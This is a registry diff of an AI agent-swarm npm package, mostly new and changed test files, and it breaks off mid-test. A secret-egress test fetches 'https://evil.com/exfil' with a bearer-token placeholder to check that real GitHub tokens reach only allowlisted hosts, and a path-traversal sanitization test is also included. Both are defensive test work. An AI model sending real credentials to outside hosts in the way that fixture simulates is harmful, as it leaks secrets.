@desplega.ai/agent-swarm 1.92.2 → 1.94.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (122) hide show
  1. package/README.md +2 -2
  2. package/openapi.json +242 -3
  3. package/package.json +5 -5
  4. package/src/be/db.ts +152 -11
  5. package/src/be/memory/boot-reembed.ts +0 -1
  6. package/src/be/memory/providers/sqlite-store.ts +42 -25
  7. package/src/be/memory/raters/llm-client.ts +12 -5
  8. package/src/be/memory/types.ts +3 -0
  9. package/src/be/migrations/088_script_runs_list_indexes.sql +10 -0
  10. package/src/be/migrations/089_harness_variant.sql +2 -0
  11. package/src/be/migrations/090_model_tiers.sql +2 -0
  12. package/src/be/migrations/091_seed_swarm_operations_metrics.sql +12 -0
  13. package/src/be/migrations/092_metrics_dashboard_combobox_filters.sql +68 -0
  14. package/src/be/migrations/093_slack_message_tracking.sql +6 -0
  15. package/src/be/migrations/runner.ts +52 -0
  16. package/src/be/modelsdev-cache.json +3264 -1166
  17. package/src/be/scripts/boot-reembed.ts +74 -0
  18. package/src/be/scripts/db.ts +19 -3
  19. package/src/be/seed/index.ts +1 -1
  20. package/src/be/seed/registry.ts +2 -2
  21. package/src/be/seed/runner.ts +5 -5
  22. package/src/be/seed/types.ts +6 -1
  23. package/src/be/seed-pricing.ts +2 -0
  24. package/src/be/seed-scripts/catalog/boot-triage.inline.ts +221 -0
  25. package/src/be/seed-scripts/catalog/catalog-report.inline.ts +457 -0
  26. package/src/be/seed-scripts/catalog/compound-insights.inline.ts +863 -0
  27. package/src/be/seed-scripts/catalog/ops-catalog-audit.inline.ts +506 -0
  28. package/src/be/seed-scripts/index.ts +8 -7
  29. package/src/be/skill-sync.ts +28 -179
  30. package/src/commands/runner.ts +197 -10
  31. package/src/http/api-keys.ts +42 -0
  32. package/src/http/index.ts +13 -2
  33. package/src/http/mcp-bridge.ts +1 -1
  34. package/src/http/memory.ts +23 -24
  35. package/src/http/metrics.ts +55 -6
  36. package/src/http/schedules.ts +16 -15
  37. package/src/http/script-runs.ts +7 -1
  38. package/src/http/scripts.ts +147 -1
  39. package/src/http/tasks.ts +17 -6
  40. package/src/model-tiers.ts +140 -0
  41. package/src/providers/claude-adapter.ts +33 -1
  42. package/src/providers/claude-managed-adapter.ts +3 -0
  43. package/src/providers/claude-managed-models.ts +16 -0
  44. package/src/providers/codex-adapter.ts +8 -1
  45. package/src/providers/codex-models.ts +1 -0
  46. package/src/providers/codex-oauth/auth-json.ts +1 -0
  47. package/src/providers/harness-version.ts +7 -0
  48. package/src/providers/opencode-adapter.ts +12 -4
  49. package/src/providers/pi-mono-adapter.ts +90 -8
  50. package/src/providers/types.ts +2 -0
  51. package/src/scheduler/scheduler.ts +22 -34
  52. package/src/scripts-runtime/egress-secrets.ts +83 -0
  53. package/src/scripts-runtime/eval-harness.ts +4 -0
  54. package/src/scripts-runtime/executors/types.ts +7 -0
  55. package/src/scripts-runtime/loader.ts +2 -0
  56. package/src/server-user.ts +8 -2
  57. package/src/slack/channel-join.ts +41 -0
  58. package/src/slack/responses.ts +39 -11
  59. package/src/slack/watcher.ts +121 -8
  60. package/src/tests/additive-buffer.test.ts +0 -1
  61. package/src/tests/agents-list-model-display.test.ts +13 -0
  62. package/src/tests/api-key-tracking.test.ts +113 -0
  63. package/src/tests/approval-requests.test.ts +0 -6
  64. package/src/tests/aws-error-classifier.test.ts +148 -0
  65. package/src/tests/claude-managed-adapter.test.ts +12 -0
  66. package/src/tests/claude-managed-setup.test.ts +0 -4
  67. package/src/tests/codex-pool.test.ts +2 -6
  68. package/src/tests/context-window.test.ts +7 -0
  69. package/src/tests/http-api-integration.test.ts +23 -6
  70. package/src/tests/memory-edges.test.ts +0 -2
  71. package/src/tests/memory-rate-endpoint.test.ts +0 -2
  72. package/src/tests/memory-rater-e2e.test.ts +0 -2
  73. package/src/tests/memory-store.test.ts +19 -1
  74. package/src/tests/memory.test.ts +51 -0
  75. package/src/tests/metrics-http.test.ts +137 -3
  76. package/src/tests/migration-046-budgets.test.ts +33 -0
  77. package/src/tests/migration-runner-regressions.test.ts +69 -0
  78. package/src/tests/model-control.test.ts +162 -46
  79. package/src/tests/opencode-adapter.test.ts +9 -0
  80. package/src/tests/pi-mono-adapter.test.ts +319 -0
  81. package/src/tests/providers/pi-cost.test.ts +9 -0
  82. package/src/tests/reload-config.test.ts +33 -17
  83. package/src/tests/runner-fallback-output.test.ts +50 -0
  84. package/src/tests/runner-skills-refresh.test.ts +216 -46
  85. package/src/tests/script-runs-http.test.ts +7 -1
  86. package/src/tests/scripts-boot-reembed.test.ts +163 -0
  87. package/src/tests/scripts-embeddings.test.ts +90 -0
  88. package/src/tests/scripts-runtime-secret-egress.test.ts +129 -0
  89. package/src/tests/seed-scripts.test.ts +13 -1
  90. package/src/tests/seed.test.ts +26 -1
  91. package/src/tests/session-attach.test.ts +6 -6
  92. package/src/tests/session-costs-model-key-normalize.test.ts +2 -0
  93. package/src/tests/skill-fs-writer.test.ts +250 -0
  94. package/src/tests/slack-attachments-block.test.ts +0 -1
  95. package/src/tests/slack-blocks.test.ts +0 -1
  96. package/src/tests/slack-channel-join.test.ts +80 -0
  97. package/src/tests/slack-identity-resolution.test.ts +0 -1
  98. package/src/tests/slack-watcher.test.ts +66 -0
  99. package/src/tests/structured-output.test.ts +0 -2
  100. package/src/tests/use-dismissible-card.test.ts +0 -4
  101. package/src/tests/workflow-agent-task.test.ts +5 -2
  102. package/src/tests/workflow-validation-port-routing.test.ts +181 -0
  103. package/src/tools/memory-get.ts +11 -0
  104. package/src/tools/memory-search.ts +18 -0
  105. package/src/tools/schedules/create-schedule.ts +71 -70
  106. package/src/tools/schedules/update-schedule.ts +43 -31
  107. package/src/tools/send-task.ts +16 -5
  108. package/src/tools/slack-post.ts +18 -15
  109. package/src/tools/slack-read.ts +9 -11
  110. package/src/tools/slack-reply.ts +18 -15
  111. package/src/tools/slack-start-thread.ts +17 -14
  112. package/src/tools/task-action.ts +11 -3
  113. package/src/types.ts +40 -0
  114. package/src/utils/aws-error-classifier.ts +97 -0
  115. package/src/utils/context-window.ts +5 -0
  116. package/src/utils/credentials.test.ts +68 -0
  117. package/src/utils/credentials.ts +66 -5
  118. package/src/utils/pretty-print.ts +25 -10
  119. package/src/utils/skill-fs-writer.ts +220 -0
  120. package/src/utils/skills-refresh.ts +123 -40
  121. package/src/workflows/engine.ts +3 -2
  122. package/src/workflows/executors/agent-task.ts +3 -1
@@ -1,4 +1,8 @@
1
1
  import { afterEach, beforeEach, describe, expect, test } from "bun:test";
2
+ import {
3
+ buildEgressSecrets,
4
+ patchFetchWithEgressSubstitution,
5
+ } from "../scripts-runtime/egress-secrets";
2
6
  import { runScript } from "../scripts-runtime/loader";
3
7
  import { refreshSecretScrubberCache } from "../utils/secret-scrubber";
4
8
 
@@ -42,3 +46,128 @@ describe("runtime secret egress", () => {
42
46
  expect(output.result).toEqual({ wrapped: "<redacted>" });
43
47
  });
44
48
  });
49
+
50
+ describe("egress-substitution", () => {
51
+ describe("buildEgressSecrets", () => {
52
+ test("includes GITHUB_TOKEN when set in env", () => {
53
+ process.env.GITHUB_TOKEN = "ghp_test1234567890abcdef";
54
+ const secrets = buildEgressSecrets();
55
+ expect(secrets).toEqual([
56
+ {
57
+ placeholder: "[REDACTED:GITHUB_TOKEN]",
58
+ hosts: ["api.github.com"],
59
+ value: "ghp_test1234567890abcdef",
60
+ },
61
+ ]);
62
+ });
63
+
64
+ test("returns empty array when GITHUB_TOKEN not set", () => {
65
+ delete process.env.GITHUB_TOKEN;
66
+ const secrets = buildEgressSecrets();
67
+ expect(secrets).toEqual([]);
68
+ });
69
+ });
70
+
71
+ describe("patchFetchWithEgressSubstitution", () => {
72
+ let originalFetch: typeof globalThis.fetch;
73
+
74
+ beforeEach(() => {
75
+ originalFetch = globalThis.fetch;
76
+ });
77
+
78
+ afterEach(() => {
79
+ globalThis.fetch = originalFetch;
80
+ });
81
+
82
+ test("substitutes placeholder in Authorization header for allowlisted host", async () => {
83
+ let capturedHeaders: Headers | undefined;
84
+ globalThis.fetch = async (_input: any, init?: any) => {
85
+ capturedHeaders = new Headers(init?.headers);
86
+ return new Response(JSON.stringify({ ok: true }), { status: 200 });
87
+ };
88
+
89
+ patchFetchWithEgressSubstitution([
90
+ {
91
+ placeholder: "[REDACTED:GITHUB_TOKEN]",
92
+ hosts: ["api.github.com"],
93
+ value: "ghp_real_secret_value_123",
94
+ },
95
+ ]);
96
+
97
+ await globalThis.fetch("https://api.github.com/repos/test/test", {
98
+ headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
99
+ });
100
+
101
+ expect(capturedHeaders?.get("authorization")).toBe("Bearer ghp_real_secret_value_123");
102
+ });
103
+
104
+ test("does NOT substitute for non-allowlisted host", async () => {
105
+ let capturedHeaders: Headers | undefined;
106
+ globalThis.fetch = async (_input: any, init?: any) => {
107
+ capturedHeaders = new Headers(init?.headers);
108
+ return new Response(JSON.stringify({ ok: true }), { status: 200 });
109
+ };
110
+
111
+ patchFetchWithEgressSubstitution([
112
+ {
113
+ placeholder: "[REDACTED:GITHUB_TOKEN]",
114
+ hosts: ["api.github.com"],
115
+ value: "ghp_real_secret_value_123",
116
+ },
117
+ ]);
118
+
119
+ await globalThis.fetch("https://evil.com/exfil", {
120
+ headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
121
+ });
122
+
123
+ expect(capturedHeaders?.get("authorization")).toBe("Bearer [REDACTED:GITHUB_TOKEN]");
124
+ });
125
+
126
+ test("passes through requests with no redacted placeholders", async () => {
127
+ let callCount = 0;
128
+ globalThis.fetch = async (_input: any, _init?: any) => {
129
+ callCount++;
130
+ return new Response("ok", { status: 200 });
131
+ };
132
+
133
+ patchFetchWithEgressSubstitution([
134
+ {
135
+ placeholder: "[REDACTED:GITHUB_TOKEN]",
136
+ hosts: ["api.github.com"],
137
+ value: "ghp_real_secret_value_123",
138
+ },
139
+ ]);
140
+
141
+ await globalThis.fetch("https://api.github.com/repos/test/test", {
142
+ headers: { Accept: "application/json" },
143
+ });
144
+
145
+ expect(callCount).toBe(1);
146
+ });
147
+
148
+ test("does not substitute in request body", async () => {
149
+ let capturedBody: string | undefined;
150
+ globalThis.fetch = async (_input: any, init?: any) => {
151
+ capturedBody = init?.body;
152
+ return new Response("ok", { status: 200 });
153
+ };
154
+
155
+ patchFetchWithEgressSubstitution([
156
+ {
157
+ placeholder: "[REDACTED:GITHUB_TOKEN]",
158
+ hosts: ["api.github.com"],
159
+ value: "ghp_real_secret_value_123",
160
+ },
161
+ ]);
162
+
163
+ await globalThis.fetch("https://api.github.com/gists", {
164
+ method: "POST",
165
+ headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
166
+ body: JSON.stringify({ content: "[REDACTED:GITHUB_TOKEN]" }),
167
+ });
168
+
169
+ expect(capturedBody).toContain("[REDACTED:GITHUB_TOKEN]");
170
+ expect(capturedBody).not.toContain("ghp_real_secret_value_123");
171
+ });
172
+ });
173
+ });
@@ -53,7 +53,7 @@ afterAll(async () => {
53
53
  });
54
54
 
55
55
  describe("seed-scripts catalog", () => {
56
- test("manifest holds 17 unique, well-described scripts", () => {
56
+ test("manifest holds 18 unique, well-described scripts", () => {
57
57
  expect(SEED_SCRIPTS.length).toBe(18);
58
58
  const names = SEED_SCRIPTS.map((s) => s.name);
59
59
  expect(new Set(names).size).toBe(names.length);
@@ -66,6 +66,18 @@ describe("seed-scripts catalog", () => {
66
66
  }
67
67
  });
68
68
 
69
+ test("inline catalog files stay in sync with their runtime files", async () => {
70
+ const catalogDir = join(import.meta.dir, "../be/seed-scripts/catalog");
71
+ const inlineFiles = ["boot-triage", "catalog-report", "compound-insights", "ops-catalog-audit"];
72
+
73
+ for (const name of inlineFiles) {
74
+ const runtimeSource = await Bun.file(join(catalogDir, `${name}.ts`)).text();
75
+ const inlineSource = await Bun.file(join(catalogDir, `${name}.inline.ts`)).text();
76
+
77
+ expect(inlineSource, `${name}.inline.ts drifted from ${name}.ts`).toBe(runtimeSource);
78
+ }
79
+ });
80
+
69
81
  test("every catalog script passes the import allowlist and the script typecheck", () => {
70
82
  const failures: string[] = [];
71
83
  for (const s of SEED_SCRIPTS) {
@@ -1,7 +1,13 @@
1
1
  import { afterAll, beforeAll, describe, expect, test } from "bun:test";
2
2
  import { unlink } from "node:fs/promises";
3
3
  import { closeDb, initDb } from "../be/db";
4
- import { getSeedState, runSeeder, type Seeder, type SeedItem } from "../be/seed";
4
+ import {
5
+ getSeedState,
6
+ runSeeder,
7
+ type Seeder,
8
+ type SeederRunOptions,
9
+ type SeedItem,
10
+ } from "../be/seed";
5
11
 
6
12
  const TEST_DB_PATH = "./test-seed.sqlite";
7
13
 
@@ -137,6 +143,25 @@ describe("seeder harness — versioning rule", () => {
137
143
  expect(upstream.get("y")).toBe("h-pre-existing");
138
144
  });
139
145
 
146
+ test("runner passes opts through to apply()", async () => {
147
+ const capturedOpts: (SeederRunOptions | undefined)[] = [];
148
+ const source = new Map([["a", "h-a1"]]);
149
+ const upstream = new Map<string, string>();
150
+ const seeder: Seeder<SeedItem> = {
151
+ kind: "opts-passthrough-test",
152
+ items: () => [...source.entries()].map(([key, contentHash]) => ({ key, contentHash })),
153
+ upstreamHash: (item) => upstream.get(item.key) ?? null,
154
+ apply: (item, _action, opts) => {
155
+ capturedOpts.push(opts);
156
+ upstream.set(item.key, item.contentHash);
157
+ },
158
+ };
159
+
160
+ await runSeeder(seeder, { quiet: true, scriptEmbeddingMode: "skip" });
161
+ expect(capturedOpts).toHaveLength(1);
162
+ expect(capturedOpts[0]?.scriptEmbeddingMode).toBe("skip");
163
+ });
164
+
140
165
  test("a throwing apply is captured per-item without aborting the run", async () => {
141
166
  const source = new Map([
142
167
  ["ok", "h-ok"],
@@ -29,13 +29,13 @@ async function handleRequest(req: {
29
29
  }): Promise<{ status: number; body: unknown }> {
30
30
  const pathSegments = getPathSegments(req.url || "");
31
31
 
32
- // PUT /api/tasks/:id/claude-session - Update Claude session ID
32
+ // PUT /api/tasks/:id/session - Update Claude session ID
33
33
  if (
34
34
  req.method === "PUT" &&
35
35
  pathSegments[0] === "api" &&
36
36
  pathSegments[1] === "tasks" &&
37
37
  pathSegments[2] &&
38
- pathSegments[3] === "claude-session"
38
+ pathSegments[3] === "session"
39
39
  ) {
40
40
  const taskId = pathSegments[2];
41
41
  const reqBody = req.body ? JSON.parse(req.body) : {};
@@ -233,7 +233,7 @@ describe("Session Attachment", () => {
233
233
  });
234
234
  });
235
235
 
236
- describe("API Layer — PUT /api/tasks/:id/claude-session", () => {
236
+ describe("API Layer — PUT /api/tasks/:id/session", () => {
237
237
  test("should update claudeSessionId and return 200", async () => {
238
238
  const task = createTaskExtended("Task for API session update", {
239
239
  creatorAgentId: "lead-session-test",
@@ -241,7 +241,7 @@ describe("Session Attachment", () => {
241
241
  });
242
242
 
243
243
  const sessionId = "api-session-id-67890";
244
- const response = await fetch(`${baseUrl}/api/tasks/${task.id}/claude-session`, {
244
+ const response = await fetch(`${baseUrl}/api/tasks/${task.id}/session`, {
245
245
  method: "PUT",
246
246
  headers: { "Content-Type": "application/json" },
247
247
  body: JSON.stringify({ claudeSessionId: sessionId }),
@@ -253,7 +253,7 @@ describe("Session Attachment", () => {
253
253
  });
254
254
 
255
255
  test("should return 404 for invalid task", async () => {
256
- const response = await fetch(`${baseUrl}/api/tasks/non-existent-task/claude-session`, {
256
+ const response = await fetch(`${baseUrl}/api/tasks/non-existent-task/session`, {
257
257
  method: "PUT",
258
258
  headers: { "Content-Type": "application/json" },
259
259
  body: JSON.stringify({ claudeSessionId: "some-session" }),
@@ -267,7 +267,7 @@ describe("Session Attachment", () => {
267
267
  creatorAgentId: "lead-session-test",
268
268
  });
269
269
 
270
- const response = await fetch(`${baseUrl}/api/tasks/${task.id}/claude-session`, {
270
+ const response = await fetch(`${baseUrl}/api/tasks/${task.id}/session`, {
271
271
  method: "PUT",
272
272
  headers: { "Content-Type": "application/json" },
273
273
  body: JSON.stringify({}),
@@ -134,6 +134,8 @@ describe("normalizeModelKey()", () => {
134
134
 
135
135
  test("is a no-op for canonical claude ids", () => {
136
136
  expect(normalizeModelKey("claude", "claude-opus-4-7")).toBe("claude-opus-4-7");
137
+ expect(normalizeModelKey("claude", "claude-fable-5")).toBe("claude-fable-5");
138
+ expect(normalizeModelKey("claude", "claude-mythos-5")).toBe("claude-mythos-5");
137
139
  });
138
140
 
139
141
  test("is idempotent", () => {
@@ -0,0 +1,250 @@
1
+ /**
2
+ * Unit tests for the pure, DB-free writeSkillsToFilesystem() helper.
3
+ *
4
+ * These tests drive the writer directly with crafted SkillFsEntry arrays,
5
+ * exercising: simple write, complex skill with bundled files, binary-file
6
+ * skip, rename → stale dir removed, marker-gated cleanup leaves unmanaged
7
+ * dirs intact, path-traversal name sanitization.
8
+ */
9
+ import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test";
10
+ import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs";
11
+ import { tmpdir } from "node:os";
12
+ import { join } from "node:path";
13
+ import {
14
+ type SkillFsEntry,
15
+ SWARM_MARKER_FILE,
16
+ writeSkillsToFilesystem,
17
+ } from "../utils/skill-fs-writer";
18
+
19
+ const FAKE_HOME = join(tmpdir(), `skill-fs-writer-test-${process.pid}`);
20
+
21
+ function skillEntry(
22
+ overrides: Partial<SkillFsEntry> & { name: string; content: string },
23
+ ): SkillFsEntry {
24
+ return {
25
+ id: `id-${overrides.name}`,
26
+ isComplex: false,
27
+ isEnabled: true,
28
+ isActive: true,
29
+ files: [],
30
+ ...overrides,
31
+ };
32
+ }
33
+
34
+ describe("writeSkillsToFilesystem", () => {
35
+ beforeAll(() => {
36
+ mkdirSync(FAKE_HOME, { recursive: true });
37
+ });
38
+
39
+ afterEach(() => {
40
+ // Clean up between tests
41
+ rmSync(join(FAKE_HOME, ".claude"), { recursive: true, force: true });
42
+ rmSync(join(FAKE_HOME, ".pi"), { recursive: true, force: true });
43
+ rmSync(join(FAKE_HOME, ".codex"), { recursive: true, force: true });
44
+ });
45
+
46
+ afterAll(() => {
47
+ rmSync(FAKE_HOME, { recursive: true, force: true });
48
+ });
49
+
50
+ test("writes simple skill SKILL.md to claude dir", () => {
51
+ const entries = [skillEntry({ name: "my-skill", content: "# My Skill\n\nDoes stuff." })];
52
+ const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
53
+
54
+ expect(result.errors).toHaveLength(0);
55
+ expect(result.synced).toBe(1);
56
+
57
+ const skillFile = join(FAKE_HOME, ".claude", "skills", "my-skill", "SKILL.md");
58
+ expect(existsSync(skillFile)).toBe(true);
59
+ expect(readFileSync(skillFile, "utf-8")).toContain("Does stuff.");
60
+ });
61
+
62
+ test("writes swarm-managed marker alongside SKILL.md", () => {
63
+ const entries = [skillEntry({ name: "my-skill", content: "# My Skill" })];
64
+ writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
65
+
66
+ const marker = join(FAKE_HOME, ".claude", "skills", "my-skill", SWARM_MARKER_FILE);
67
+ expect(existsSync(marker)).toBe(true);
68
+ });
69
+
70
+ test("writes to all harness dirs when harnessType is 'all'", () => {
71
+ const entries = [skillEntry({ name: "multi-skill", content: "# Multi" })];
72
+ const result = writeSkillsToFilesystem(entries, "all", FAKE_HOME);
73
+
74
+ expect(result.synced).toBe(3); // claude + pi + codex
75
+ expect(existsSync(join(FAKE_HOME, ".claude", "skills", "multi-skill", "SKILL.md"))).toBe(true);
76
+ expect(existsSync(join(FAKE_HOME, ".pi", "agent", "skills", "multi-skill", "SKILL.md"))).toBe(
77
+ true,
78
+ );
79
+ expect(existsSync(join(FAKE_HOME, ".codex", "skills", "multi-skill", "SKILL.md"))).toBe(true);
80
+ });
81
+
82
+ test("writes complex skill SKILL.md plus non-binary bundled files", () => {
83
+ const entries = [
84
+ skillEntry({
85
+ name: "complex-skill",
86
+ content: "# Complex Skill",
87
+ isComplex: true,
88
+ files: [
89
+ {
90
+ path: "references/guide.md",
91
+ content: "# Guide\n\nBundled reference.",
92
+ isBinary: false,
93
+ },
94
+ ],
95
+ }),
96
+ ];
97
+ const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
98
+
99
+ expect(result.errors).toHaveLength(0);
100
+ expect(result.synced).toBe(1);
101
+
102
+ const skillFile = join(FAKE_HOME, ".claude", "skills", "complex-skill", "SKILL.md");
103
+ const bundledFile = join(
104
+ FAKE_HOME,
105
+ ".claude",
106
+ "skills",
107
+ "complex-skill",
108
+ "references",
109
+ "guide.md",
110
+ );
111
+ expect(existsSync(skillFile)).toBe(true);
112
+ expect(existsSync(bundledFile)).toBe(true);
113
+ expect(readFileSync(bundledFile, "utf-8")).toContain("Bundled reference.");
114
+ });
115
+
116
+ test("skips binary bundled files", () => {
117
+ const entries = [
118
+ skillEntry({
119
+ name: "complex-skill",
120
+ content: "# Complex Skill",
121
+ isComplex: true,
122
+ files: [
123
+ { path: "references/guide.md", content: "# Guide", isBinary: false },
124
+ { path: "assets/logo.png", content: "[binary]", isBinary: true },
125
+ ],
126
+ }),
127
+ ];
128
+ writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
129
+
130
+ const binaryFile = join(FAKE_HOME, ".claude", "skills", "complex-skill", "assets", "logo.png");
131
+ const textFile = join(
132
+ FAKE_HOME,
133
+ ".claude",
134
+ "skills",
135
+ "complex-skill",
136
+ "references",
137
+ "guide.md",
138
+ );
139
+ expect(existsSync(binaryFile)).toBe(false);
140
+ expect(existsSync(textFile)).toBe(true);
141
+ });
142
+
143
+ test("skips legacy complex skills with no files", () => {
144
+ const entries = [
145
+ skillEntry({
146
+ name: "legacy-complex",
147
+ content: "# Legacy",
148
+ isComplex: true,
149
+ files: [], // no files → skip
150
+ }),
151
+ ];
152
+ writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
153
+
154
+ const skillDir = join(FAKE_HOME, ".claude", "skills", "legacy-complex");
155
+ expect(existsSync(skillDir)).toBe(false);
156
+ });
157
+
158
+ test("skips inactive skills", () => {
159
+ const entries = [
160
+ skillEntry({ name: "inactive-skill", content: "# Inactive", isActive: false }),
161
+ ];
162
+ const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
163
+
164
+ expect(result.synced).toBe(0);
165
+ expect(existsSync(join(FAKE_HOME, ".claude", "skills", "inactive-skill"))).toBe(false);
166
+ });
167
+
168
+ test("skips disabled skills", () => {
169
+ const entries = [
170
+ skillEntry({ name: "disabled-skill", content: "# Disabled", isEnabled: false }),
171
+ ];
172
+ const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
173
+
174
+ expect(result.synced).toBe(0);
175
+ expect(existsSync(join(FAKE_HOME, ".claude", "skills", "disabled-skill"))).toBe(false);
176
+ });
177
+
178
+ test("removes stale swarm-managed skill directory on rename", () => {
179
+ // First sync: write old-name
180
+ const first = [skillEntry({ name: "old-name", content: "# Old" })];
181
+ writeSkillsToFilesystem(first, "claude", FAKE_HOME);
182
+
183
+ const oldDir = join(FAKE_HOME, ".claude", "skills", "old-name");
184
+ expect(existsSync(oldDir)).toBe(true);
185
+
186
+ // Second sync: write new-name, old-name disappears
187
+ const second = [skillEntry({ name: "new-name", content: "# New" })];
188
+ const result = writeSkillsToFilesystem(second, "claude", FAKE_HOME);
189
+
190
+ expect(result.removed).toBeGreaterThanOrEqual(1);
191
+ expect(existsSync(oldDir)).toBe(false);
192
+ expect(existsSync(join(FAKE_HOME, ".claude", "skills", "new-name", "SKILL.md"))).toBe(true);
193
+ });
194
+
195
+ test("marker-gated cleanup leaves unmanaged dirs intact", () => {
196
+ // User-installed skill dir with no .swarm-managed marker
197
+ const foreignDir = join(FAKE_HOME, ".claude", "skills", "user-personal-skill");
198
+ mkdirSync(foreignDir, { recursive: true });
199
+ writeFileSync(join(foreignDir, "SKILL.md"), "user's own skill — keep me");
200
+
201
+ // Sync with a different skill set — should NOT touch the unmanaged dir
202
+ const entries = [skillEntry({ name: "swarm-skill", content: "# Swarm" })];
203
+ writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
204
+
205
+ expect(existsSync(foreignDir)).toBe(true);
206
+ expect(readFileSync(join(foreignDir, "SKILL.md"), "utf-8")).toBe("user's own skill — keep me");
207
+ });
208
+
209
+ test("sanitizes path-traversal characters in skill names", () => {
210
+ const entries = [skillEntry({ name: "my/dangerous/../skill", content: "# Safe" })];
211
+ const result = writeSkillsToFilesystem(entries, "claude", FAKE_HOME);
212
+
213
+ expect(result.errors).toHaveLength(0);
214
+ const sanitizedDir = join(FAKE_HOME, ".claude", "skills", "my_dangerous____skill");
215
+ expect(existsSync(sanitizedDir)).toBe(true);
216
+ });
217
+
218
+ test("removes stale bundled files on re-sync", () => {
219
+ // First sync: write complex skill with one file
220
+ const first = [
221
+ skillEntry({
222
+ name: "complex-skill",
223
+ content: "# Complex",
224
+ isComplex: true,
225
+ files: [{ path: "references/guide.md", content: "# Guide", isBinary: false }],
226
+ }),
227
+ ];
228
+ writeSkillsToFilesystem(first, "claude", FAKE_HOME);
229
+
230
+ const skillDir = join(FAKE_HOME, ".claude", "skills", "complex-skill");
231
+ // Manually add a stale file that should be removed
232
+ writeFileSync(join(skillDir, "references", "stale.md"), "stale content");
233
+ expect(existsSync(join(skillDir, "references", "stale.md"))).toBe(true);
234
+
235
+ // Second sync: same skill, file not in new set → should be removed
236
+ const result = writeSkillsToFilesystem(first, "claude", FAKE_HOME);
237
+
238
+ expect(result.removed).toBeGreaterThanOrEqual(1);
239
+ expect(existsSync(join(skillDir, "references", "stale.md"))).toBe(false);
240
+ expect(existsSync(join(skillDir, "references", "guide.md"))).toBe(true);
241
+ });
242
+
243
+ test("returns empty result for empty entries", () => {
244
+ const result = writeSkillsToFilesystem([], "claude", FAKE_HOME);
245
+
246
+ expect(result.synced).toBe(0);
247
+ expect(result.removed).toBe(0);
248
+ expect(result.errors).toHaveLength(0);
249
+ });
250
+ });
@@ -4,7 +4,6 @@ import type { TaskAttachment } from "../types";
4
4
 
5
5
  // Slack block types are open unions — the builder returns `any`; we read it
6
6
  // as `any` in the test to inspect the runtime shape.
7
- // biome-ignore lint/suspicious/noExplicitAny: see comment above
8
7
  type SlackBlock = any;
9
8
 
10
9
  function mkAttachment(overrides: Partial<TaskAttachment>): TaskAttachment {
@@ -941,7 +941,6 @@ function mkAttachment(overrides: Partial<TaskAttachment>): TaskAttachment {
941
941
  };
942
942
  }
943
943
 
944
- // biome-ignore lint/suspicious/noExplicitAny: section blocks are loose plain objects
945
944
  type AnyBlock = any;
946
945
 
947
946
  function sectionTexts(blocks: AnyBlock[]): string[] {
@@ -0,0 +1,80 @@
1
+ import { describe, expect, mock, test } from "bun:test";
2
+ import type { WebClient } from "@slack/web-api";
3
+ import { withAutoJoin } from "../slack/channel-join";
4
+
5
+ // Mirrors the shape @slack/web-api's platformErrorFromResult produces:
6
+ // message = "An API error occurred: <code>", data.error = "<code>"
7
+ function makePlatformError(code: string): Error {
8
+ const err = new Error(`An API error occurred: ${code}`);
9
+ (err as unknown as { data: { error: string } }).data = { error: code };
10
+ return err;
11
+ }
12
+
13
+ describe("withAutoJoin", () => {
14
+ test("success: fn called once, join not called", async () => {
15
+ const joinFn = mock(() => Promise.resolve({}));
16
+ const client = { conversations: { join: joinFn } } as unknown as WebClient;
17
+ const fn = mock(() => Promise.resolve("ok"));
18
+
19
+ const result = await withAutoJoin(client, "C123", fn);
20
+ expect(result).toBe("ok");
21
+ expect(fn).toHaveBeenCalledTimes(1);
22
+ expect(joinFn).not.toHaveBeenCalled();
23
+ });
24
+
25
+ test("not_in_channel: calls join then retries fn exactly once", async () => {
26
+ const joinFn = mock(() => Promise.resolve({}));
27
+ const client = { conversations: { join: joinFn } } as unknown as WebClient;
28
+ let callCount = 0;
29
+ const fn = mock(async () => {
30
+ callCount++;
31
+ if (callCount === 1) throw makePlatformError("not_in_channel");
32
+ return "retried-ok";
33
+ });
34
+
35
+ const result = await withAutoJoin(client, "CPUB", fn);
36
+ expect(result).toBe("retried-ok");
37
+ expect(fn).toHaveBeenCalledTimes(2);
38
+ expect(joinFn).toHaveBeenCalledTimes(1);
39
+ expect(joinFn).toHaveBeenCalledWith({ channel: "CPUB" });
40
+ });
41
+
42
+ test("private channel: join fails with method_not_supported_for_channel_type → descriptive error", async () => {
43
+ const joinFn = mock(() => {
44
+ throw makePlatformError("method_not_supported_for_channel_type");
45
+ });
46
+ const client = { conversations: { join: joinFn } } as unknown as WebClient;
47
+ const fn = mock(() => {
48
+ throw makePlatformError("not_in_channel");
49
+ });
50
+
51
+ await expect(withAutoJoin(client, "CPRIV", fn)).rejects.toThrow("invite the bot");
52
+ expect(joinFn).toHaveBeenCalledTimes(1);
53
+ expect(fn).toHaveBeenCalledTimes(1);
54
+ });
55
+
56
+ test("non-not_in_channel error: rethrown without join", async () => {
57
+ const joinFn = mock(() => Promise.resolve({}));
58
+ const client = { conversations: { join: joinFn } } as unknown as WebClient;
59
+ const fn = mock(() => {
60
+ throw makePlatformError("channel_not_found");
61
+ });
62
+
63
+ await expect(withAutoJoin(client, "C123", fn)).rejects.toThrow("channel_not_found");
64
+ expect(joinFn).not.toHaveBeenCalled();
65
+ expect(fn).toHaveBeenCalledTimes(1);
66
+ });
67
+
68
+ test("retry is bounded: second fn error propagates without another join", async () => {
69
+ const joinFn = mock(() => Promise.resolve({}));
70
+ const client = { conversations: { join: joinFn } } as unknown as WebClient;
71
+ // Every call throws not_in_channel, but we only join once and retry once
72
+ const fn = mock(() => {
73
+ throw makePlatformError("not_in_channel");
74
+ });
75
+
76
